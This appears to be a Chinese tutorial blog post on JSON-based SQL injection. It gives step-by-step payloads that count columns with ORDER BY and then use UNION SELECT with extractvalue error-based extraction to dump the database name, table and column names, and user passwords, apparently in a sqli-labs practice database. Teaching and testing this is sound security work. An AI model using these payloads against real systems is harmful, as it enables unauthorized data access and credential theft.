json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{

"username": "admin' union select

1, -- 第一个字段占位

extractvalue(1, -- 第二个字段执行注入

concat(0x7e,

(select database()), -- 要提取的数据

0x7e)

) #"

}

相关推荐
Asus.Blogs1 小时前
golang格式化打印json
javascript·golang·json
东方佑1 小时前
使用Python实现Word文档与JSON格式双向转换:完整教程与代码解析
python·json·word
bug总结1 小时前
项目中用运行时 config.json 动态配置后端地址(精华版)
json
safestar20123 小时前
SelectDB JSON字段查询性能优化实战:从踩坑到最佳实践
oracle·性能优化·json
qq_4480111614 小时前
python HTTP请求同时返回为JSON的异常处理
python·http·json
未来魔导17 小时前
go语言中json操作总结(下)
数据分析·go·json
清水白石00820 小时前
《Python × 数据库:用 SQLAlchemy 解锁高效 ORM 编程的艺术》
开发语言·python·json
真上帝的左手1 天前
6. 接口-专栏说明
json·restful
Leoysq1 天前
UGUI 读取JSON动态克隆背包道具信息
json
望外追晚1 天前
mask_color_map.json丢失,导致分割标签.png无法导入X-Anylabeling的解决办法
人工智能·计算机视觉·json·paddlepaddle